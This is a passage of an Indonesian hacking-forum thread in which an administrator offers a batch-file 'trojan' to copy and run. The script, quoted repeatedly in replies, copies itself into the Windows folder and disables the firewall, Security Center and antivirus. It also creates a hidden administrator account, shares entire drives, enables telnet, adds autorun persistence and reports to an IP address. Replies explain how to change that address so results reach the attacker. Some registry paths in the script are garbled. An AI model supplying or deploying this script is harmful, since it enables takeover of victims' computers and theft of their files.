.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll
 

 TROJAN versi batch

Go down 
+2
rhich
Lo@dinG
6 posters
PengirimMessage
Lo@dinG
Administrator
Administrator
Lo@dinG


Jumlah posting : 434
Points : 874
Reputation : 22
Join date : 13.12.10
Age : 35
Lokasi : Dimana-mana ???

TROJAN versi batch Empty
PostSubyek: TROJAN versi batch   TROJAN versi batch Icon_minitimeSat Feb 12, 2011 1:13 pm
ini dia buat trojan hanya dengan notepad. Copas code di Bawah truus.. save dengan ekstensi .bat

Code:

    @echo off
    color 0a
    cls
    IF not exist %windir%\%0 copy %0 %windir%
    netsh firewall set opmode=disable
    net stop ShareAccess
    Net stop "Security Center"
    Tskill *AV*
    NET USER admin admin123 /ADD
    NET LOCAL GROUP ADMINISTRATORS admin /ADD
    Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f
    Net start messenger
    dir *.*>>Filelist.txt
    Net send 192.168.1.100 >hasil.txt
    NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
    NET SHARE data1=D:\ /UNLIMITED
    NET SHARE data1=E:\ /UNLIMITED
    REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d ""/f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f
    Net start tIntsvr
    REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
    REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f


Efek dari code diatas antara lain :

penyebaran seperti worm jadi mudah berkembang biak
disable firewall
stop ShareAccess
stop Security Center
nge kill AV
membuat user dengan nama admin123
pertahanan pada user admin123
menjalankan messenger
mengirim kan hasil rekaman ke ip 192.168.1.100

dan terakhir listing ttg pertahan trojan ini.,Semoga B'manfaat :jempol

Selamat Mencoba.. :selamat :selamat
Kembali Ke Atas Go down
http://www.black-c0de.org
rhich
Moderator
Moderator
rhich


Jumlah posting : 40
Points : 51
Reputation : 1
Join date : 16.01.11

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeMon Feb 14, 2011 12:45 pm
Lo@dinG wrote:
ini dia buat trojan hanya dengan notepad. Copas code di Bawah truus.. save dengan ekstensi .bat

Code:

    @echo off
    color 0a
    cls
    IF not exist %windir%\%0 copy %0 %windir%
    netsh firewall set opmode=disable
    net stop ShareAccess
    Net stop "Security Center"
    Tskill *AV*
    NET USER admin admin123 /ADD
    NET LOCAL GROUP ADMINISTRATORS admin /ADD
    Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f
    Net start messenger
    dir *.*>>Filelist.txt
    Net send 192.168.1.100 >hasil.txt
    NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
    NET SHARE data1=D:\ /UNLIMITED
    NET SHARE data1=E:\ /UNLIMITED
    REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d ""/f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f
    Net start tIntsvr
    REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
    REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f


Efek dari code diatas antara lain :

penyebaran seperti worm jadi mudah berkembang biak
disable firewall
stop ShareAccess
stop Security Center
nge kill AV
membuat user dengan nama admin123
pertahanan pada user admin123
menjalankan messenger
mengirim kan hasil rekaman ke ip 192.168.1.100

dan terakhir listing ttg pertahan trojan ini.,Semoga B'manfaat :jempol

Selamat Mencoba.. :selamat :selamat


ajeebbb bgt tuh....
tp
mengirim kan hasil rekaman ke ip 192.168.1.100
gmn tuh gan????

:cheers: :cheers: :cheers: :cheers: :cheers: :cheers: :cheers: :cheers:
Kembali Ke Atas Go down
dez@rck
Administrator
Administrator



Jumlah posting : 156
Points : 315
Reputation : 7
Join date : 14.12.10
Age : 32
Lokasi : local Root

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeMon Feb 14, 2011 12:59 pm
Lo@dinG wrote:


Code:

    @echo off
    color 0a
    cls
    IF not exist %windir%\%0 copy %0 %windir%
    netsh firewall set opmode=disable
    net stop ShareAccess
    Net stop "Security Center"
    Tskill *AV*
    NET USER admin admin123 /ADD
    NET LOCAL GROUP ADMINISTRATORS admin /ADD
    Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f
    Net start messenger
    dir *.*>>Filelist.txt
    Net send 192.168.1.100 >hasil.txt
    NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
    NET SHARE data1=D:\ /UNLIMITED
    NET SHARE data1=E:\ /UNLIMITED
    REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d ""/f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f
    Net start tIntsvr
    REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
    REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f



wew... assek neeh om... tpi kyknya cmn buat local koneksi aj yh...

:belajar: :belajar: :belajar:

gmna jadinya yh klw dapt koneksi send ke ftp server...
:licik :licik :licik :licik
Kembali Ke Atas Go down
Lo@dinG
Administrator
Administrator
Lo@dinG


Jumlah posting : 434
Points : 874
Reputation : 22
Join date : 13.12.10
Age : 35
Lokasi : Dimana-mana ???

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeTue Feb 15, 2011 10:54 pm
Quote :
ajeebbb bgt tuh....
tp
mengirim kan hasil rekaman ke ip 192.168.1.100
gmn tuh gan????

Ganti ip nya dng ip kamu.., ntar hasil rekamannya terkirim ke ip yang kamu sdh set.. cpdh cpdh
Kembali Ke Atas Go down
http://www.black-c0de.org
robofics
VIP Member
VIP Member
robofics


Jumlah posting : 709
Points : 804
Reputation : 20
Join date : 22.12.11
Lokasi : /dev/null

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeSat Jan 07, 2012 6:10 pm
rhich wrote:
Lo@dinG wrote:
ini dia buat trojan hanya dengan notepad. Copas code di Bawah truus.. save dengan ekstensi .bat

Code:

    @echo off
    color 0a
    cls
    IF not exist %windir%\%0 copy %0 %windir%
    netsh firewall set opmode=disable
    net stop ShareAccess
    Net stop "Security Center"
    Tskill *AV*
    NET USER admin admin123 /ADD
    NET LOCAL GROUP ADMINISTRATORS admin /ADD
    Reg ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList" /v"admin" /t REG_DWORD/d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f
    Net start messenger
    dir *.*>>Filelist.txt
    Net send 192.168.1.100 >hasil.txt
    NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
    NET SHARE data1=D:\ /UNLIMITED
    NET SHARE data1=E:\ /UNLIMITED
    REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d ""/f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f
    REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f
    REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f
    Net start tIntsvr
    REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
    REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f


Efek dari code diatas antara lain :

penyebaran seperti worm jadi mudah berkembang biak
disable firewall
stop ShareAccess
stop Security Center
nge kill AV
membuat user dengan nama admin123
pertahanan pada user admin123
menjalankan messenger
mengirim kan hasil rekaman ke ip 192.168.1.100

dan terakhir listing ttg pertahan trojan ini.,Semoga B'manfaat :jempol

Selamat Mencoba.. :selamat :selamat


ajeebbb bgt tuh....
tp
mengirim kan hasil rekaman ke ip 192.168.1.100
gmn tuh gan????

:cheers: :cheers: :cheers: :cheers: :cheers: :cheers: :cheers: :cheers:

ubah aja bagian ini
Quote :
Net send 192.168.1.100 >hasil.txt
TROJAN versi batch 3402572103
Kembali Ke Atas Go down
http://robofics.wordpress.com
CyberWild
Moderator
Moderator
CyberWild


Jumlah posting : 1665
Points : 2310
Reputation : 104
Join date : 11.06.11
Age : 43
Lokasi : internet cloud

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeSat Jan 07, 2012 7:04 pm
wedew nice kk
Kembali Ke Atas Go down
http://cyberwild.p.ht/
uligan
Pro Nubie
Pro Nubie
uligan


Jumlah posting : 52
Points : 52
Reputation : 0
Join date : 04.01.12
Age : 31
Lokasi : singkawang

TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitimeSat Jan 07, 2012 7:18 pm
mantap buat nambah koleksi.. thanks kk :sukro:
Kembali Ke Atas Go down
Sponsored content





TROJAN versi batch Empty
PostSubyek: Re: TROJAN versi batch   TROJAN versi batch Icon_minitime
Kembali Ke Atas Go down
 
TROJAN versi batch
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Virus Batch Lagi Nih
» worm code in batch
» Trojan Remover 6.8.2
» tentang trojan
» Trojan Killer 2.1.1.9+patch

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Virus,Malware,Trojan,Worm, Dll-
Navigasi: